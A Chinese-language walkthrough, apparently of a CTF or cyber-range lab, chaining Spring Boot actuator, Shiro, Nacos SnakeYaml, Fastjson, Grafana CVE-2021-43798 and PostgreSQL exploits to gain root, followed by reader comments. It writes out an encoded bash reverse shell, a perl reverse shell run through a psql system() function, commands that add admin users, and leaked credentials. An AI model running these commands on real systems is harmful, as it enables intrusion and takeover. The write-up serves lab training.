考点:
- Spring boot actuator unauthorized access
- shiro反序列化RCE
- vim.basic提权
- Nacos SnakeYaml反序列化
- Fastjson
- Grafana任意文件读漏洞
- psql
goby扫出来有Spring boot actuator unauthorized access,可以看Springboot之actuator配置不当的漏洞利用怎么利用,发现有heapdump泄露。因为看出来是shiro,然后翻内存,发现账号密码是admin admin123,当然登进去没啥卵用,后面想翻shiro key,直接搜g==结尾的字符串(看别人佬是用的内存分析工具https://github.com/whwlsfb/JDumpSpider,我这个是纯靠的经验)
拿到shiro key:GAYysgMQhG7/CzIJlVpR2g==,直接RCE(https://github.com/SummerSec/ShiroAttack2)
然后用旁边的内存马功能写马连上去,弹shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzYueHh4Lnh4eC85MzgzIDA+JjE=}|{base64,-d}|{bash,-i}'
vim.basic有suid权限,但是必须有tty,也就是交互式shell,最简单的方法就是输入
python -c 'import pty; pty.spawn("/bin/bash")'
其他的利用可以看看实现交互式shell的几种方式,我这里用的是之前后渗透之文件下载(Linux篇)里提到的pwncat实现tty,简直好用的批爆
vim.basic /root/flag/flag01.txt
./fscan -h 172.30.12.5/24 -hn 172.30.12.5
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.12.236 is alive
(icmp) Target 172.30.12.6 is alive
[*] Icmp alive hosts len is: 2
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.6:8848 open
172.30.12.236:8009 open
172.30.12.236:8080 open
172.30.12.6:445 open
[*] alive ports len is: 7
start vulscan
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
为了进一步利用,这里直接用vim.basic写公钥获得root权限。
内网的172.30.12.6:8848是Nacos,可以打SnakeYaml,下一个charonlight/NacosExploitGUI,把AwesomeScriptEngineFactory.java里执行的命令改成加个管理员用户
Runtime.getRuntime().exec("net user fushuling qwer1234! /add");
Runtime.getRuntime().exec("net localgroup administrators fushuling /add")
这里还有现成的打包bat,挺好,打包后生成yaml-payload.jar。因为web1已经被写公钥拿到root权限了(不会写公钥的话可以看春秋云境·Spoofing),我们直接当作攻击机,把打包好的jar文件传到tmp目录
然后在tmp目录运行python3 -m http.server 80开启web服务,接着用NacosExploitGUI让nacos服务器去从远程服务器加载恶意的yaml-payload.jar包
成功执行的话就可以用我们添加的账户rdp上去拿flag了
172.30.12.236:8080是打Fastjson反序列化,这里直接用现成的插件amaz1ngday/fastjson-exp,抓登录的请求包,然后选择操作,再选择拓展,无论是send to fastjsonEcho还是send to fastjsonInject插件都能检验出来然后帮你拿shell
不过生成的马连不上,会显示initShellOpertion Fail,因为目标开启了session持久化,并且我们向session存入了不可被反序列化的数据,导致后续使用此session我们无法获取到之前存入的数据,解决办法是把生成的shell中的session替换成application,但他这个请求我没怎么看懂,改不来。但这个插件可以直接在消息请求头那里执行命令然后拿到执行结果,所以也不用连上去
然后我把root密码改了在web1这台机器上ssh到了web3的机器,接着发现是双网卡
Grafana存在CVE-2021-43798,这里有点麻烦的地方在于内网的机器不出网(好像是废话?),但我们可以利用web1,因为之前在web1开了web服务,我们把需要的文件放web1上,在web3上wget web1就能实现文件传输了
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2024/01/06 20:36:23 Target vulnerable has plugin [alertlist]
2024/01/06 20:36:23 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2024/01/06 20:36:23 There is [0] records in db.
2024/01/06 20:36:24 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123] database:[postgres] basic_auth_user:[] basic_auth_password:[]
2024/01/06 20:36:24 All Done, have nice day!
172.30.54.x这个新网段用我们之前在web1上建立的代理是访问不过去,得建立多重代理,可以看看内网代理搭建,我用的Stowaway,挺方便的,还是在我们自己的VPS上,use 0选择node 0后(也就是web1服务器),然后选择listen,再输入1,选择模式,输入1234,选择监听端口
接着把受控端传到web3上,发起对web1的连接
./linux_x64_agent -c 172.30.12.5:1234 -s 123 --reconnect 8
然后我们VPS上会说有新节点加入,这就说明我们的多层代理接入成功了
然后back回admin,再use 1,socks 9384,就可以在9384建立对web3的多层代理,同时也不会影响之前在web1上建立的代理
然后我们用新代理在本地连postgresql
要做的就俩事,第一个事是改root密码,命令是ALTER USER root WITH PASSWORD ‘123456’;
接着是弹shell,类似于无间计划里那个oracle,psql也可以创建函数执行命令,缺点是没回显
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('curl 172.30.54.179');
这时不难想到弹shell,bash之类的弹不了,但能用perl弹,这个我之前也提到过,在后渗透之文件下载那里,既然能执行远程下载文件的代码,当然也能执行弹shell的代码
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
sudo -l看到有psql命令,先输入python3 -c ‘import pty;pty.spawn(“/bin/bash”)’进入交互式shell,然后输入sudo /usr/local/postgresql/bin/psql进行提权,在这里的root密码就是我们刚刚自己改的123456
然后大致的流程是
root=# \?
Input/Output
!/bin/bash
root@web04:/usr/local/pgsql/data# whoami
root
带我走吧狗哥
大佬什么时候打完无间计划,等着看你的writeup呢😭
还有点没写完,打是打完了